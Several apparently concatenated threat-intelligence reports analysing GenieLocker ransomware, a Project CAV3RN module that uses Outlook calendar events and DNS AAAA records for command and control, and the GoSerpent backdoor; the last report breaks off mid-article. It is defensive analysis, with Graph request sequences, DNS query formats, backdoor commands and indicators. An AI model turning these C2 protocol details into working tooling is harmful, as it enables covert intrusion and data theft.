The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).
The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.
Technical details
Modus operandi
We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).
In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victimβs systems.
Initial Access
During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partnerβs network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.
Discovery and Credential Access
After breaching the targetβs network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.
Lateral Movement and Command and Control
Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their commandβandβcontrol server.
Impact
During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.
The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toyβ―Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toyβ―Ghouls have not employed a doubleβextortion model and do not run a dataβleak website.
Encryption Trojan for Windows
The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransomβrelated capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the openβsource libsodium library.
Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesnβt save the ransom notes on the victimβs system. The Trojan doesnβt contain any attackersβ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.
GenieLocker help message
Arguments and launch
GenieLocker supports multiple arguments for configuring its behavior.
Argument
Description
First argument
βSecretβ argument, hex string value
-p, βpercent N
Percentage of file content to encrypt
-r, βrecursive
Process directories recursively
-l, βlog <filename>
Set path for log file
-h, βhelp
Show help message
Last argument
Path to encrypt
GenieLocker expects the first argument to be a hex string referred to in the malware code as the βsecret argumentβ, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.
Checking the secret argument
The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHAβ256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2bβ256, but the resulting hash is never used. This may be a part of a feature still in development.
Secret value hashing
Anti-debugging
GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.
Environment check
After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.
Watchdog checks
The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.
Preparing for encryption
GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.
Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.
Output for whitelisted hosts
If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.
Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.
Threads info output
File encryption and cryptography
The extension for the encrypted files is hardcoded in the Trojanβs body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:
a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
a journal: <fileext>.03ffc1c4a3da0f02.journal
The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.
The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.
Journal content
By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.
The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackersβ master public key hardcoded in the Trojanβs body.
The metadata of each encrypted file contains the following fields.
Value or name
Size (bytes)
Description
version
1
Hardcoded byte with value 1, most likely the version.
encryption_percent
1
Percentage of file content to encrypt, value from -p argument.
file_nonce
24
Nonce used during encryption of the file content.
original_filesize
8
Original size of the file before encryption.
total_chunk_count
8
Max count of chunks inside the current file.
chunk_size
4
Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux).
remain_size
4
The number of bytes remaining after splitting the file content into chunks.
blake2b_digest_of_chunks
32
BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks.
chunk_count
4
Number of chunks that were encrypted.
extension
64
A string with the additional ransomware extension.
poly1305_tags (array)
16 bytes per chunk
Array of Poly1305 tags of encrypted chunks.
bitmask
varies, one bit per each chunk
Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not.
The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.
Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)
Encryption Trojan for ESXi and Linux
Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, antiβdebugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as doubleβfork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.
ESXi version description
The commandβline help output mirrors LockBitβs styling, reinforcing the theory that GenieLockerβs creators set out to craft a LockBitβstyle replacement for their own operations.
LockBit output design, possibly the source layout for the GenieLocker ESXi variant
Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.
Argument
Description
-p <perc>
Percentage of file content to encrypt
-j <workers>
Number of encryption threads
-r <dir>
Process directories recursively
-w <sec>
Delay before start
-d
Daemonizing the process
-l <logfile>
Path to log file
ESXi and Linux features
This build allows daemonizing its process with the -d flag, employing the classic doubleβfork method so the new process becomes fully detached from its parent.
This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.
Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launchβdelay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.
File encryption
The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.
File encryption summary
Victims
According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.
Conclusions
Toyβ―Ghouls are ramping up their campaign against Russian enterprises. The rollout of their homeβgrown encryption Trojanβ―GenieLocker marks a major upgrade to the groupβs ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on offβtheβshelf ransomware families and unified the cryptographic backbone across all targeted platforms.
Kasperskyβs products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
Module network communication architecture
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
Technical details
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
Project CAV3RN architecture (April 2026)
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
C2 communication module
The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
Outlook calendar events as a C2 channel
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}
Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenantβs organization record through a GET request toΒ https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00β23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each eventβs purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
Subject format
Purpose
Module behavior
Event ID: <agent-id>
Operator-to-agent command
Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500
Agent heartbeat
Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500
Agent-to-operator command output
Creates an event, uploads encrypted result attachments, and assigns the final subject
Receiving a command
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
Our analysis found a consistent difference in capitalization between command and result attachments:
Attachment name
Direction
Associated subject
file0.txt
Operator to agent
Event ID: <agent-id>
File0.txt
Agent to operator
Boss Report ID: <agent-id>1500
Inbound command decryption
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
Encrypted attachment stored in a calendar event
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
Decrypted command
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
Sending command output
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events
POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
Heartbeat handling
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView
DELETE /v1.0/users/***@*********.co.il/events/<EventId>
POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the moduleβs operational workflow.
DNS AAAA configuration recovery mechanism
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
DNS-based configuration recovery (simplified)
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating systemβs configured recursive resolver, which follows the domainβs delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
Index
Configuration value
0
TenantId
1
ClientId
2
ClientSecret
3
UserEmail
Determining the field length through .p. queries
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the valueβs total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
IPv6 AAAA record payload layout for obtaining length
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each valueβs length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Field length encoding in DNS AAAA record responses (example)
Retrieving configuration data through .q. queries
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
TenantId retrieval process via DNS AAAA records (example)
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
Failure handling and the sentinel AAAA response
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahooβs 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Infrastructure
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
Domain
IP
First seen
ASN
Hosting
ns1.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns2.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns3.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns4.cloudlanecdn[.]com
144.172.108[.]205
May 21, 2026
AS 14956
RouterHosting LLC
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendorβmanaged DNS to custom inβbailiwick authoritative nameservers aligns with the moduleβs DNS recovery design.
The DNS timeline overlaps with this new moduleβs development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the moduleβs recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
Attribution
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
Conclusions
The new module extends CAV3RNβs controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.
During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.
Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.
We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.
What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.
In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.
Technical details
Initial phase of the attacks
The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.
GoSerpent backdoor
The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.
This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.
The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.
GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:
Command
Symbol (as derived from corresponding function names)
Description
2BA1
Sync
Respond to the server to show the infection is active
3BA2
Exit
Exit process
4BA3
Ls
Start listening on a port
5BA4
Connect
Connect to a remote server
6BA5
Hello
Create a shell on the infected machine
7BA6
Ul
Upload a file or directory to the server
8BA7
Dl
Download from the server
9BA8
Ss5
Start a SOCKS5 proxy on the infected machine
ABA9
Cl
Close a listening port
CBAB
RF
Forward to a connected node
GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.
McMx RAT
McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.
Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format β in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.
Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.
The tool shares core functionalities with GoSerpent, including:
SOCKS5 proxying
port forwarding
file transfer
remote shell capabilities
Data collection and credential dumping tools
Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.
ThumbcacheService
ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.
The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.
Credential dumping tools
The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:
Mimikatz β dumps memory from the LSASS process to extract credential material, including cached credentials and Kerberos tickets.
QuarksDumpLocalHash β extracts local account password hashes from the SAM registry hive, allowing for offline password cracking attacks.
These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.
Second stage of the attacks
After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.
Stowaway
Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:
SOCKS5 proxying
port forwarding
reverse tunneling
remote shell access
file transfer
SSH-based tunneling
Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:
TmcLoader with an embedded payload
{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db β an encrypted configuration file
TmcLoader/TmcPayload
TmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.
TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.
The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victimβs machine.
TmcPayload generates a file path from an obfuscated string:
C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.
